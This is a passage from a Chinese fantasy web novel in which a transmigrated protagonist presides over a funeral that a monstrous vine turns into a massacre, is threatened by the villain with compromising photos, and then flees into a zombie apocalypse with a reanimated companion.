谁让主系统那么会提条件,他是真的无法拒绝。 耳边传来敲门声,周经推门而入。 “夫人。” 洁白的纱帘在大开的窗户旁晃动。 楚青琅转身看着周经将手中的盒子放下,然后抬头对他说:“这是少爷特意挑选给您的礼服,接下来您不仅要代表少爷主持葬礼,这次露面更是代表着您真正踏入上流圈层,所以,希望您等下穿着这件衣服下去。” 盒子里面躺着的是一套纯白的西装。 配着白金色的天堂鸟花装饰,极为挑人,更何况在衣摆裤脚处还用红色的闪片和宝石做出了图案。 乍一看去,就像是被鲜血溅上一般,瞬间将那温润的感觉染上了几分诡谲。 这反派在搞什么? 自己明明折腾过他,还叫人送来衣服? 楚青琅思索着,却还是点了点头接过那衣服,换了起来。 一些小事情他并不介意顺从一下,谁让自己的小命还在人家手里捏着 这样想着,但是等楚青琅真正穿上了那套西装,在镜子前照了一下后,不由得咬牙深呼吸了一下。 只见前面是正常的衣料,将他的身体裹的严实,但是后面,却是直接空了一大片,将光洁的脊背和劲瘦的腰肢露了出来,盈着光芒的两汪腰窝在西装裤边缘后面若隐若现。 楚青琅额角一阵跳动,下意识就要将衣服脱下。 反派的手段难道这么低级粗暴吗? 一旁站着的周经微笑提醒道:“夫人,到下去的时间了。” 楚青琅顿了下,还是放下了手。 没关系,他还有很长时间从反派那里找回来。 一出门,朦胧的乐声就变得清晰起来,周经在一旁说。 “这是少爷特意选的安魂曲。” 安谁的魂? 还有残留意识的厉权的魂? 要他意识到自己的亲儿子要把他活活烧死? 不,在烧死之前,厉屿算是已经把他杀死了。 为了缓解紧张,脑海里冒着不着边际的念头的楚青琅,对下面的人群礼貌点头回应。 宾客仰头望去,只见青年挂着笑,在瞳孔中,水晶吊灯的光芒将他的面容和身形模糊,只残留一抹神圣高洁的印象。 当他的身影顺着楼梯走下时,人们才赫然发现他身上所携带的,震撼人心的色彩。 一处是他幽蓝的仿佛海洋一般的眼眸眸,一处是他身上红色摇晃的水滴型宝石。 仿佛天使在他们的眼前坠落人间,伤痕累累,还坚持对着他们露出坚强的,抚慰人心的微笑。 但是等青年从他们身旁走过时。 那裸漏出来的脊背,线条优美的腰肢,随着行动摆动着的衣摆,在一瞬间夺取了所有人的注意力。 于是那些朦胧的印象快速转为低劣的臆想。 他们瞧着那青年,从上到下。 就连那红润的唇,都细细的用目光舔舐。 众人面前,是一具被鲜花簇拥的棺材,棺材前摆放着厉权的相片,供品新鲜,却没有鲜血能够让此时已经变成丧尸的厉权兴奋。 楚青琅并没有在意他们的目光。 毕竟在他的心中,他们早已是死人了。 他缓步来到了棺材前,站在了高台上。 握着话筒,楚青琅说了一些提前背过的欢迎的话语后,就低声且略带哀伤的介绍了自己的身份和和厉权的关系。 只是话说到一半,就被其中一个宾客打断,内容和气,语气却是遮掩不住的轻佻。 “这位,楚先生?” “据我所知,厉先生生前,唯一所有合法妻子身份的人早已过世,不知您是和厉先生何时认识?何时领证?先前又为何不在记者面前澄清自己攀附金主的谣言呢?” “还有,厉少爷怎么没到场,难道是发生了什么意外情况?” 站在楼梯口的周经,听着那些话,一颗眼珠倏地偏移了视线,看向了说话的宾客。 * 无人注意到,早在所有人进来之前,外面的天空已从深蓝转为猩红。 伴随着玻璃破碎的声音,凄厉的惨叫于学校各处响起。 一株巨大的藤蔓击穿了墙壁,碎石滚落在地,击起血色尘埃。 穿着藏青色西装的少年站在天台,欣赏着这混乱的景象,面上露出怀念,愉悦的神情。 暗红的唇扯起,洁白的齿翻着森冷寒光。 不知听见了什么,眼珠下转。 一根细小的藤蔓在他的掌心中扭来扭去,委屈巴巴的说: 【想念,想念,想念,想念。】 【看他,看他,看他,看他,看他。】 【楚楚好吃,楚楚好吃,楚楚好吃。】 厉屿冷着脸捏住它扔下楼,嗜血的欲/望在升腾间被泼了一盆凉水,他瞬间恢复了理智。 他不知道为什么这个只有着简单意识的魔藤会喜欢那个表里不一的家伙。 重生后,他第一时间找到了一直陪伴着他的魔藤,用血肉喂养它,才慢慢的把它的意识培养出来,养的和上辈子一样。 明明上辈子还对楚青琅没有什么特殊反应的东西,到了现在却死活要贴着人家。 要不是他制止,恐怕已经跟条狗一样跟在青年身后。 第34章 第 34 章 你今天真漂亮。 他就知道! 楚青琅在心里磨牙, 面上却带了些许的惊愕,他察觉到了下面的人的恶意,却不知怎么应对。 于是他只能磕巴着说:“我和厉先生” 又一位宾客笑嘻嘻道:“您不是厉先生的夫人吗?怎么还跟着我们叫起了这么陌生的称呼。” 台上的青年顿时红了眼眶,眼睫下垂, 带着温柔却疲惫的神色, “非常抱歉, 但是这个称呼只是我的习惯, 他在我的心中一向是稳重又体贴的,他不光是我的爱人, 更像是一个长辈带着我成长,所以我很仰慕他。” “得到他出意外的消息,不止除了我,小屿也是很难过,所以他才未出现。” 话音刚落, 下面就传出一阵嬉笑,“是吗?那你让他出来看看啊?毕竟我们和厉家有合作,现在厉家这么大的产业交给一个什么都不懂的人, 我们可是真的不放心!” “您也知道是在葬礼啊, 穿成这样, 是想要勾引谁啊?我们可没有厉先生那么色。” “哈哈哈哈。” 嘲讽的声音一波接着一波,仿佛空气中被下了兴奋剂, 他们全然抛弃了自己伪装的体面和理智, 甚至有人上台伸手就要抓呆站在那里的青年。 楚青琅冷漠的瞧着上来的人。 怪不得厉屿要杀他们,世界意识为了催生反派,还真的会在关键节点把人性拉低,让苦难和恶意将反派全然包围。 手中的话筒被体温浸的温热,楚青琅眯眼瞧着扑来的人, 手腕微动,就要猛地砸下。 虽然要维持人设,但是他也不是平白受气的人。 下一瞬,破空声突然响起。 猝不及防的,楚青琅被鲜血溅了半身,硬生生止住了动作。 时间在他视线中拉长,他眼睁睁的看着面前的人身躯被猛地洞穿,随后被骤然撕裂甩开。 鲜血瞬间喷涌而出,在空中划出一道带着血腥气的弧线。 “扑通”。 尸体落地,血液洒落在了宾客的身上。 一道道惊惧的尖叫伴随着玻璃碎裂的声音响彻整间别墅。 在喊叫声中,楚青琅呆愣的站在原地。 身上的装饰在这瞬间成了真实。 那撕裂人的东西就立在他的面前,是青绿色的仿佛柳枝一般的东西,没有什么乱七八糟的眼睛和肉牙,就仿佛是一根极为寻常的藤蔓,颜色还格外青翠鲜嫩。 那东西晃了晃,然后弯曲了尖端,在楚青琅的面前比了一个心。 楚青琅:“?” 他不敢置信的眨了下眼。 随后那东西又朝他移动过来,在他警惕的目光中,“噗”地冒出了一簇淡紫色的花。 仿佛是看他没有反应,那东西又朝前递了递。 这什么情况? 这个世界疯了吧? 自从来到这个世界,楚青琅就遇见了许多出乎他意料的事情,但是眼前这个东西,还是头一次让他生出些许荒诞的感觉。 他莫名觉得这种被震撼到的感觉似曾相识。 他都已经做好动手的准备,还有等下反派回来要跟反派说一些什么话都模拟了一遍,就等着演员到位了。 谁知道碰见这样一个不按常理出牌的东西杀完人还送他花? 楚青琅沉默良久,还是接过了那束几乎怼在他脸前的花。 看他接过,那藤蔓又晃了晃,然后凑过来,在他脸上蹭了下,还没等楚青琅有什么大的反应,就咻的后退了一大段距离。 仿佛在欲盖弥彰。 楚青琅呼了一口气,转开了视线。 此时下面已经乱成了一团,有人试图逃走,但是不知怎么回事那大门紧闭,完全无法打开。 就连一旁的窗户,都不知道被什么东西缠绕,就算是打碎了玻璃,也无法出去。 他们只能聚集在大门前,不断的拍打着。 有一些理智的人瞧见了安静站在那里的周经,就上前扯着他的领子或威胁或哀求,让他放过他们。 嘈杂的声音宛若煮沸的开水,几乎将房顶掀翻。 在这些喧闹下,楚青琅听见一道极为轻微的吱呀声。 莫名的冷意迅速蔓延全身,所有人下意识噤了声,望了过去。 紧闭的大门缓缓打开。 本能在警告,寒意却越来越重,堆积在骨节中,僵硬了他们想要逃跑的动作。 后退的藤蔓忽地离开楚青琅的身边,朝着大门游去。 楚青琅视线跟着它,瞧见了一道熟悉的身影。 站在门口的人就是厉屿。 他面容仿佛很久未见天光,不是苍白,而是一种几乎可以瞧见面上神经血管的透明状态,眼皮眨动间,可以瞧见那上面仿佛枝丫般蔓延的血丝。 黑色的校服端正的穿在身上,异色的双眸被眼睫遮住,瞧不见情绪。 他伸出手,漫不经心地捏了捏趴在肩头的小东西。 随后眼珠宛若卡顿地机器一般向上移动,看向了台上的青年。 浓郁的,狂乱的欣悦和杀意顺着那眼眸倾泻而出,几乎让楚青琅感到悚然。 他此时才发现,厉屿身上的并不是黑色的校服,而是一层层血液凝固,板结成了暗沉的颜色,加上外面天空的昏暗,乍一看去他才会误以为是黑色。 厉屿站在别墅门前,扫视了一圈,并没有对此时混乱的场景感到意外的样子。 他唇高高挑起,身上不和谐的色彩和天色尸体营造出的诡异气氛,令人窒息。 他弯腰,轻抚胸口,礼貌极了。 “欢迎各位参加我父亲的葬礼,招待不周,还请见谅。” 那些宾客完全被尸体冲昏了头脑,完全没有注意到他的异常和身后猩红寂静的天色。 “厉屿!快报警!!” “这里有怪物!!!” “起开,快让我们离开这里!!” 他们在厉屿的面前挤成一团,但是莫名的,没有人敢伸出手推开他,强硬逃出去。 这让厉屿感到些许的失望。 “将主人家中弄成这个样子,各位,可真是——” 他踢了下滚落在他面前的香槟,穿过被狼狈掀翻在地的桌椅,踩着倾覆的银灯,烛火灼烧桌布,发出刺啦的声音。 他走到了台上,回身环顾了一周,吐出最后的字眼。 “不礼貌。” “啊!!!” 平整的大理石地面,鼓动着裂开,一条条的仿佛树木根须一样的东西从裂痕中钻出,捉住了四散而逃的人。 猩红天空下,老周脚步平稳的迈上向上的楼梯。 面前一只青筋崩起的手死死扣着门框。 他却看也没看一眼。 在老周进去后,门缓缓的关闭,那只手也被猛地拽了进去,只留下几道血印。 * 吊灯璀璨,寂静无声,只有乐声悠扬。 扭成座椅的藤蔓成排列于大厅中央,上面坐着一位位笑的灿烂穿着奢美服装的宾客,他们的肩颈手腕都点缀着相同的花环。 淡黄色的花蕊上盈着一团团尘埃似的雾气,随着呼吸进入鼻腔肺腑,但是没有一人在意。 他们认真,目不转睛,虔诚的瞧着台上的青年。 飘扬的大提琴演奏着《神恩》,青年神情温和纯澈,蓝眼眸如梦一般迷人。 他在上面说着自己先前未讲述完的,和厉权的爱情故事。 “……因此,原本我是想要隐瞒的,但是一不小心就被人拍摄下来,还曝光给了报社,所以才造成这么大的误解。” 楚青琅努力忽视坐在身旁,撑着下巴凝着他的反派。 说完最后一句话后,他转身,向着棺材轻轻鞠了一躬。 他面色不变的说着谎: “厉先生,我会替你照顾好小屿的,把他当成自己的孩子看待,您放心。” 对,他会好好“照顾”他。 谁知道这句话刚落下,面前的棺材里就传出了一阵刺耳的响动,仿佛是指甲划动木板的声音,极为尖锐。 楚青琅下意识朝后退了一步。 一只冰凉的手顺着腰肢按住脊背,阻止了他的动作。 厉屿不知何时站在他身后,语气低柔,“楚哥为什么不想要火葬呢?” 楚青琅被冰的一抖,他思索着这话的意思,反问道:“小屿,你为什么想要火葬呢?” “楚哥别这么狡猾啊。”厉屿的指尖弹动着楚青琅的皮肉,勾勒着骨骼的形状,声音生涩,泛着凉意,“说一说。” 楚青琅定定的瞧着遗像中的人,玻璃表面映着两个交叠的身影。 反派想要什么?他为什么不杀台下的人?楚青琅还以为他完全被恨意浸染,一回来机会将所有人杀死。 楚青琅想要转身,试图窥探身后人的表情,但是脊背后方的力道却将他阻止。 于是他只能站在那里,绷紧了心神。 他仿佛难以启齿,“小屿,很凉。” 后背一直乱动的手终于停下,楚青琅听见一声笑。 短促冷漠。 随即,身后传来一阵大力,他的眼一花,整个人就踉跄伏在了摆着遗像的桌子上。 等视线清晰,他抬头却发现面前就是那张微笑着的,厉权那英俊苍白的面容。 楚青琅不知道厉屿这个疯子想要干什么,下意识的想要起身,但是那先前还给他送花的东西却忽地变长,绑住了他的双手,让他只能用双肘撑住身子,趴伏在桌上。 鼻腔前尽是浓烈的檀香气味,咽喉忍不住一阵瘙痒,他轻咳了两声。 身后却突然传来冰冷坚硬的宛若树枝一样的东西,挑开本就无法遮掩脊背的布料。 楚青琅压着颤抖的嗓音,咬牙说:“小屿!你做什么?!” 厉屿语气含笑,“楚哥,你今天真是漂亮。” 楚青琅面笑皮不笑的呵呵两声,权当回应。 身后的人仿佛并没有察觉到他的怒气,只是自顾自地说着话:“楚哥之前说这个世界上只有你会对我好,关心我,爱护我。” 楚青琅连忙温柔道:“我说过会关心你的,小屿,可以先放开我吗?被外人看见我们这样不好,而且我身上的污点还没有洗清,万一连累你怎么办?” 话音落下,身后却只有无尽地沉默,就在楚青琅皱眉地时候,一道轻微地“咔嚓”声响起。 随即是厉屿独特地嗓音,一字一句道:“但是我很害怕啊,要是连楚哥都不要我了怎么办?” 脊背覆上冰凉的躯体,一只修长的手握着手机放在了他的面前。 页面上展示的是一个双手合拢趴在桌子上的人。 敞开的外衣露出洁白脊背,上面是一道道的淫/靡红痕,腰侧陡然落下弧度连接着一双裹着白色西装裤的长腿。 侧脸若隐若现,只能瞧见淡紫色花瓣遮掩住的高挺鼻梁和微抿的唇。 下一张,只截取了上半身。 但是却比全漏更加引人遐思。 这拍摄角度,这暧昧距离,好一副被被 楚青琅顿时气红了脸,他自从开始完成任务,还没见过这么不要脸的人。 头顶上,厉屿握住了他的手腕,压低了身子,“我记得楚哥是明星吧?如果楚哥愿意我把这张相片公布出去,我就信楚哥,听楚哥的,好不好?” 楚青琅下意识的弓了下脊背,他双手交叉,思绪快速转动。 他隐约明白了反派这样做的原因,对于明星来说,有这种丑闻是最致命的,尤其他本身就有金主的谣言,这张照片要是泄露出去,就彻底坐实了那个谣言。 而他因为这两天一直在厉家,所以不知道丧尸的事情,一定会被逼到精神紧张崩溃,甚至会反派说什么他就做什么。 楚青琅有些懊恼,早知道他今天早上就不用早饭折腾反派了。 现在好了,估计就是他提醒的反派这件事情。 不过,楚青琅吐出被抿进嘴中的花瓣,瞧着面前淡蓝色的面板,他在心中得意的昂起头。 没准这是完成任务的转机呢。 厉屿凑在他的耳边道:“台下的人,都是一个见证,他们会相信楚哥你的清白,并不会阻碍楚哥你接管厉家的。” 谁信你! 楚青琅装作紧张的样子,勉力冷静道:“不行,小屿,你不能这样做。” 厉屿直起身,拿着手机点在他心脏后方,只挤出了一道疑惑的鼻音。 楚青琅摸了摸那束缚他的藤蔓,仿佛感受到他的想法,那东西犹豫了一瞬,还是慢吞吞地撤开了缠着桌子的身体。 得到移动的自由,楚青琅翻身而起,瞧着松松握着手机的反派,不再遮掩,对着并不意外的反派露出了最冷漠,最晦暗的神情。 他说:“你恨我。” 厉屿的眼微微眯起。 楚青琅道:“在开记者会的时候,我看见过一个人被咬随后转变为丧尸的全程。再加上你的能力,我有理由相信,现在外边不是丧尸爆发了,就是出现了什么混乱。所以,就算是你公布出去,旁人也不会有心思注意我。” “你选择火葬,是想让他感受到自己身躯被火焰一点一点灼烧殆尽的感觉,你认为死亡是归宿,而你恨的人,不应该那么快得到安眠,所以,你选择心理上折磨我。” 他一步一步的靠近,面前的怪物却依然带着笑,阴冷的瞧着他。 他下意识的伸手想要掐厉屿的脖子,但是束缚住他的藤蔓却在接触到厉屿的瞬间就松开,于是他改掐为握。 楚青琅抚着厉屿的后颈。 仿佛在安慰一条应激的蛇,一只正在撕咬猎物的猛兽。 “那不行的,小屿,你的计划在一开始就不成立。” “啪嗒” 手机掉落。 手腕被紧握,带着要将骨骼捏碎的力道。 楚青琅却恍若没有感受到一般,他道:“如果要折磨人,何必要把他困在这里呢?当世界动荡起来,最不值钱的就是人命,世界就是地狱。” “让他被背叛,被伤害,努力求生却总是被推入深渊,然后,再在他即将看见曙光的时候,杀死他。” 懂了吗反派?! 快把我放出去,让我在外面逃亡受尽折磨! 这样也不枉他根据剧情死戳反派的心窝子,狠狠揭露反派以往的伤疤。 他面上漾起温柔的笑,蓝色眼眸如海面,安静的凝视着厉屿,就好像完全不知道自己刚才的话有什么不对劲。 良久,面前已经完全不带丝毫人气的反派终于笑了。 厉屿说:“楚哥一向这么聪明,我又怎么不会满足楚哥呢。” 他握着他的手腕,转身,歪头盯着他说:“那,在楚哥走之前,我给你出出气好不好?” 台下一直屏息凝神,努力想要挣开身上的束缚逃跑的人,闻言都用恐惧哀求的目光看着楚青琅。 他们因为吸进那些寄生花的花粉,浑身都染着病态的红,露出的鼻腔咽喉,泛着黏糊的白。 身后冰冷的手又覆上来,按着他的心脏,像一条冷血动物在汲取温度那样,甚至发出了满足的喟叹。 “楚哥,一共三十五人,你准备选择那五个人和你一起呢?” 如果楚青琅说的是实话,那当然要选择刚刚最嘴贱的人。 如果他故意选择了相对好一些的人,按照刚刚他的理论就意味着,他要带着他们去往地狱,算是帮助反派故意折磨他们。 无论选不选救不救,他都要背上几十条人命。 要是他真的是原主,他一定会忍不住想他刚刚的推论是否正确,一定会遭受非常严重的心理折磨。 楚青琅指尖发凉,他真的没想到厉屿会这么的——心机深沉。 他刚刚不过是在胡言乱语,只为了完成任务而已 身侧,厉屿饶有兴趣地凝视着他,等待着他的选择。 楚青琅胸廓起伏了一瞬,猛地拍下他的手,转身朝着棺材的方向走去。 他施力将上面的棺材板推开,随后,伸手抚着厉权泛青的脸,他说: “小屿,我和你父亲一起好吗?” 加码!他要加码!! 带着一个明显丧尸化的男人出去,厉屿不用想就知道他会在之后的道路上碰见什么刁难和威胁,这可比带着那些人好多了。 这不仅和反派后面变成丧尸王所承受的异样眼光基本重合,他也能更不出纰漏的完成支线任务。 【支线任务:逃亡A市。】 反派是丧尸王,可以远程控制丧尸。 谁说被反派控制的厉权不是厉权呢?在外人眼里,他就是厉权,剧情也不会变化。 主系统的补偿,他要定了! 现在,轮到你选了。 指尖接触到的皮肤冰冷,楚青琅抬眼,看着厉屿露出一抹温柔浅笑。 第35章 第 35 章 一无所知。 这话一出, 原本还心生希冀的宾客都怨毒的瞧了过来。 厉屿沉默了一会儿,忽然冷笑道:“既然楚哥要去找死,我怎么会阻止呢?” 手背传来沉沉力道,楚青琅连忙低头, 只见原本还是尸体一般毫无动静的厉权已经睁开了双眼, 此时正安静的瞧着他。 他们对视, 那深邃的眼眸微微弯起, 爱意如岩浆流淌,炽热明亮。 这有点出乎楚青琅的意料。 他还以为反派已经彻底把厉权给杀死了, 顶多只会留下一点意识罢了。 楚青琅欣喜道:“厉先生?你没事?” 厉权却只是盯着他,表情带着一种迟钝的感觉,并未回话。 青色的藤蔓在厉屿的身后组成椅子,他坐下冷冷的瞧着他们道:“他可说不了话。” 就算是这样,也比楚青琅想的好了许多。 他原本只想带着一个被反派控制的人逃出去, 谁知道反派给了他这样大的一个惊喜。 楚青琅相信,以厉权在剧情中对原身的爱护程度,这一路上, 他绝对不会受到什么磋磨。 台下呜咽咳嗽声接连响起, 又闷又哑, 却掩不住那要将肺腑呕出来的力道,连带着身躯都在颤抖。 楚青琅遥遥望去, 面容瞬间变得惨白。 要不是他很有可能也和这些宾客一样的下场。 手上的力道加重, 厉权僵硬的从棺材中起来,仿佛灵魂和这具躯体并不匹配,动作都带着难以忽视的滞涩之感。 对于这个能保障自己未来生活的男人,楚青琅很快就将全部的注意力投在了他的身上。 他搀扶着厉权,将他从棺材中带出来。 很快, 只是走了几步,厉权就恢复了行动力,甚至不需要他的帮扶。 门口,绅士一般努力挺直身躯的老周正面带微笑瞧着他们穿过宾客走来,为他们打开了紧闭的大门。 坐在一旁的厉屿幽幽说了最后一句话:“祝你好运。” 到了最后关头,楚青琅还是转身耐心回复,“小屿,再见。” 他的敷衍厉屿当然看得出来。 厉屿死死按住肩膀上想要跟出去的藤蔓。 原本外露的嘲讽恨意全然收敛,变得理智漠然起来。 他向来不会手软,在回来的第一时间就把那个老头子给弄死了,怎么可能给他留下什么意识。 厉屿站起身,瞧着那些宾客恐惧望来的眼神,心如死水,毫无波澜。 因为他的阻挡,手中的魔藤已经开始对着他展露牙齿了。 他松开手,看着魔藤落地的瞬间褪去青嫩的表皮,变得狰狞可怖,宛如闪电般的残影闪过朝着房外穿去,却被站在那里的老周挡住。 耳边的呢喃瞬间变成高昂尖锐的哭泣。 厉屿却说:“乖一点,到最后,会让你吃掉他的。” 这样他就会永远属于你了,既然你喜欢的话。 异色双瞳瞧着猩红天空,转身,自己躺进了棺材,缓缓闭上了双眼。 被阻拦去路的魔藤不敢彻底杀死厉屿的手下,只能被怒气催促着将目标转为那些待宰的羔羊。 它将自己的身躯顶住穹顶,身上裂开无数冒着尖牙的口子,宛如鲨鱼的嘴巴一样,根须裹着一个颤抖的人就塞进了嘴中。 厉屿的意识链接到那不断移动的精神体上,在由昏暗转为明晰的瞬间,黑沉眼眸映出带着温柔明亮笑容的青年。 “呵,以为找到了依靠?” “你说的确实对,只有一个人来到了曙光面前,再将真相告诉他,才会让人彻底绝望。” “从现在开始,我就是厉权。我会一直看着你走到那一天。” * 踏出厉家的时候,楚青琅长舒一口气。 虽然外面的世界已经成了丧尸的乐园,但是这里怎么说也是丧尸王的居所,所以总体来说还是很干净的。 就连末日独有的变异植物都没有,只是目之所及的一切都被猩红的太阳撒上了薄薄红芒。 他转身笑着看着身边的人,“厉先生,我们先去A市好不好?” 厉权盯着他,灰白的面容带着明显的伤痕,伤口腐烂,黑眸仿佛一颗石子,毫无生气。 迟钝一会儿后,厉权安静点头。 随后,像是想到了什么,他又扯开嘴角露出一抹宠溺的笑来。 楚青琅看着他的神情,莫名觉得好像那里不对,就仿佛在他的记忆中,厉先生不应该这样笑 在厉权即将转为疑惑的视线中,楚青琅连忙按下思绪,握着他的手腕超前走去,“我们先去找一辆车,那些宾客的车子随便挑一辆应该就可以然后去搜刮一些物资。从这里到A市顺利的话至少要两天,所以物资必须要足够,还有油” 而且现在厉权明显是一副尸体的样子,走出去了吓也能把别人吓死,所以他最好远离人群,多囤一些物资。 他声音明朗温雅,咬字清晰,在加上白皙俊美的面容和那双含情眼,格外吸引人注意力。 两人来到目的地,楚青琅打住话头,扫视了一下停车场,完全没有注意身侧的人出神的望着他唇瓣的目光。 楚青琅特意从里面挑选了一辆高底盘的黑色车子,他率先坐进去,摸索着找钥匙。 很幸运,他只是拉开了顶上的镜子,就在里面找到了备用钥匙。 楚青琅摇下车窗,对着站在外面安静望着他的男人晃了晃手,手掌修长白皙,一看就被养的很好。 “厉先生,快来。” 厉权收回视线,缓缓走来,端端正正的坐到了副驾驶。 车窗两边的景色缓缓后退,只是刚走出了不久,两边的独栋别墅就已经开始出现破损,柏油路上有了游荡的丧尸。 听见声音后,游荡的丧尸朝着车子冲来。 楚青琅面不改色的碾了过去,蓝眼睛看着身旁的厉权道:“厉先生,你现在是丧尸吗?” 厉权犹豫的摇了摇头。 楚青琅说:“那你需要吃人什么的吗?或者喝血?” 厉屿愣了下,他还没反应过来,就见面前的青年犹豫了一下小声道:“如果真的需要的话,可以喝我的,但是我们是人,不可以吃人的。” 于是原本想要否定的厉权转而点了点头。 楚青琅和他约定,一天一次,只能喝血,不能吃他的肉。 在说完这些事情后,楚青琅松了一口气,随即他不解似的嘟囔, “厉先生,为什么小屿要这样做,明明之前他是一位品学兼优的好学生,怎么会成为现在这样?不管是他,还是这个世界,怎么会成为现在这样?” 暗红的血点溅在挡风玻璃上,又被抹平。 厉权沉默,随即,他伸出手,用指尖在他的小臂上写道:“楚楚,别担心,我会保护你。” 脑海中自动理解他的话后,楚青琅脑子转慢了半圈。 楚楚 好腻人的称呼。 楚青琅握着方向盘的手紧了紧,他转头朝坐回去的厉权笑了下,仿佛真的被安慰到了一般,目光带着绵绵爱意,令人不禁相信在他面前的人,真的是他藏在心底的爱人。 这也是原身为什么会在那么短的时间段内就勾搭上了反派他爹,还没上/床,就得了极多资源的原因。 他让人相信,他的心中是有爱的。 哪怕他的嘴不这样说。 厉权的眼眸颤动了一瞬,他露出了刹那间的异样,又很快被遮掩住。 末日来临之后,原本湛蓝晴朗的天空都被猩红占据,而到了夜晚,那高挂于上的月亮在浓黑天空幕布的衬托下,更像是一枚神明的眼眸。 注视着世间的一切。 昼夜温度差加剧。 到了末日后期,世界成为一片废土,白天炙烤,夜晚则至少零下六十度。 丧尸,变异植物,无法种植出食物的土地,以及过大的温差,都在逐步削减人类的存在。 所以,他们必须要先挨过夜晚的降温。 楚青琅将车子停下,停在一个大型商超前。 此时,温度已经开始下降,楚青琅哆嗦着熄了火,开门就准备下去。 他穿的还是厉屿送过来的那一身衣服,好看是好看,却起不到丝毫保暖的作用。 楚青琅并没有在意在前面游荡的丧尸,毕竟他身边还有一个半丧尸呢,照那天晚上看,厉权的武力值应该不低。 手腕上传来沉沉力道,楚青琅疑惑回头,厉权对他摇了摇头,指了指自己,又指了指他。 楚青琅说:“你的意思是你先下去看看,然后我在下去?” 厉权点头。 楚青琅弯了弯眼,“嗯”了一声。 看着他答应下来,厉权松开了手,拉开车门跳了下去。 楚青琅瞧着他轻巧的走到外面游荡的丧尸前,只是一个挥手,漆黑冷光闪过,那些丧尸就尸首分离。 等把这一片清理干净之后,厉权才走了回来,为他打开了车门。 暗淡路灯映着那骨节分明的大手,却并没有他想象中的漆黑,只有一层层的血色凝结,顺着手腕滴落在地。 楚青琅收回视线,搭着他的手臂下了车。 * 按理来说,大型商超里面应该有着许多的丧尸。 毕竟病毒爆发的突然,很多人都来不及逃跑,更何况是这种人流密集之地。 但是出乎意料,走进旋转门,楚青琅发现里面像是已经被人清理过了,没有丝毫丧尸活动的踪迹。 他心中警惕,肩膀上突然传来温热感。 厉权脱下了自己的西装为他披上。 楚青琅侧头,只见浓黑的双眼,正静静的凝着他。 他便笑了下,“谢谢。” 楚青琅对这个商超有印象,这里地下一层是超市,二层是饭店,三层四层是卖服装和奢侈品。 因为温度的急剧下降,他拽着厉权直奔三楼而去。三楼还有着没有来得及关闭的灯光,店铺都敞着门,货架倒塌,货物散落一地,光洁的地板上随处可见成滩的血渍。 楚青琅快步走过去,拿了旅行包装了几件冬衣,还有一些替换的衣服,装完之后,他也不顾及什么,把身上染血的衣服脱下,换了起来。 厉权就站在不远处看着他的动作,等他换完,就上前一步,接过了包裹。 在他准备走的时候,楚青琅却将一个相同款式的风衣递了过来。 楚青琅晃了晃手:“虽然你不怕冷,但是还是穿上比较好,不那么显眼。” 顺便也可以遮挡一下伤痕。 厉权慢吞吞的接过换上。 随后两人又下了楼,准备去负一层装些吃的。 在走到一楼时,楚青琅按住了厉权的手,笑着说:“等一下,我去找个东西。” 他转身想走,却又被抓住。 厉权用口型对他说:“危险。” 楚青琅蓝眼睛在昏暗中泛出瑰丽的紫,他眨了下眼道:“没关系,你看这么久都没有人,我会很快的。” 对视后,厉权放开了手。 楚青琅转身朝着远处走去。 他记得一楼是有卖药的,剧情中原身就是给厉屿下了药,才让他无法反抗的被从车子上推下去。 就是不知道现在那些药对于已经变成了丧尸王的厉屿有没有效果。 不过,多些准备总是好的。 药架子上已经空了大半,看起来除了他们,还有别人已经将其搜刮了一遍。 楚青琅拿了许多的安眠药,还有一些常见药物和绷带,都装进了黑色的塑料袋中。 身边阴影众多,偶尔一晃神,就像是有东西藏在里面,楚青琅匆匆瞥了一眼,心脏就提了起来,虽然不是鬼,但是他还是不喜欢这种未知的感觉。 他攥紧塑料袋就朝着出口跑去。 穿过被柱子挡住的拐角,高大的身影正穿着黑色的风衣站在自动扶梯前,仿佛听见了他过来的声音,转过了身,脖颈面庞上的伤痕仿佛在蠕动着,只是一晃神,依然是那样,仿佛错觉。 正好楚青琅已经小跑在他的身前,他便低下了头。 楚青琅举了举袋子,“成功了,走吧。” 厉权从喉咙中发出含糊的声音,又很快收声,楚青琅并没有在意。 他率先转身踏上了已经停止运动的自动扶梯。 在他的身后,厉权瞧了他一会,抬步跟了上去。 * 等回到车子上,楚青琅已经吃饱喝足。 靠在座椅上,他很快就生了困意。 厉权不知道从那里掏出一个手机,打起字来。 “我守夜,明天我来开车。” 楚青琅费尽全力的瞧着那些发飘的字,“嗯”了一声,按着座位起身,想要先过去。 有力的双手突地伸来,握住他的腰肢将他从驾驶位上拔出,搂在了怀中。 一头栽进宽阔胸膛,突如其来地动作撞的楚青琅精神了些许,他诧异的瞧着面前的男人,双手下意识的抵住靠过来的胸膛。 厉权如夜一般的眼眸流露出鲜明的渴望。 对上那双眼,他才想起来两人的约定。 楚青琅:“” 几息后,他面上挂着笑,软道:“可以明天吗?今天我好累,你忍一忍好不好?” 楚青琅才不会真的要他咬自己呢,谁知道他要是真的被咬了会不会变成丧尸,他先前的话就只是吊在驴前的胡萝卜,只是为了给厉权个期望,顺便保障自己的安全,走到半路被咬了。 等到成功A市,男人就可以下线了,到时候他还要去傍别的人,然后在小巷子中被反派杀死。 完美! 厉权这么喜欢他,一定不忍心咬他。 楚青琅委屈巴巴的瞅着男人,难得带着一点撒娇的感觉。 手上移,搂住脖颈,轻轻在厉权的侧脸上亲了一口,他努力忽视着唇瓣上那伤口凹凸不平的感觉。 他用那双漂亮的蓝眼睛望着男人,重复道:“好不好?” 他语气动作柔软,神情却带着对事情发展不会出乎意料的笃定。 男人不是看不出来,只是以前这种时候,他只会做出一种回应。 亮起的备忘录被打开,对着楚青琅他打出一个字。 ——好。 * 得到满意回答的楚青琅挣开腰后的手,换了位置后,拿起一旁的毯子,把自己裹吧裹吧沉沉睡了过去。 青年的呼吸清浅,但是听在男人的耳中,却是极为清晰。 后视镜中,男人脊背挺直,端正的坐着,一双如夜一般的眼眸随着眼睫翕动,被血色充斥。 他转头,瞧着蜷缩在座椅上的青年,眼中的深情被冷漠和疑惑所代替。 “就这样的相处。” “能让一个那么理智的人变得这么蠢。” “不可思议。” 这种装模做样的喜欢和爱,多么虚假。 一旦遇见危险,第一处被舍弃的,就是这些浅薄的喜欢。 就像是那些接二连三背叛他的人一样。 男人仿佛回想起什么,神情愈发冰冷,一双眼眸已经彻底被红色充斥,没有瞳孔,仿佛浓的几乎发黑的铁锈。 【亲亲,亲亲,亲亲。】 【我也要亲亲!!!】 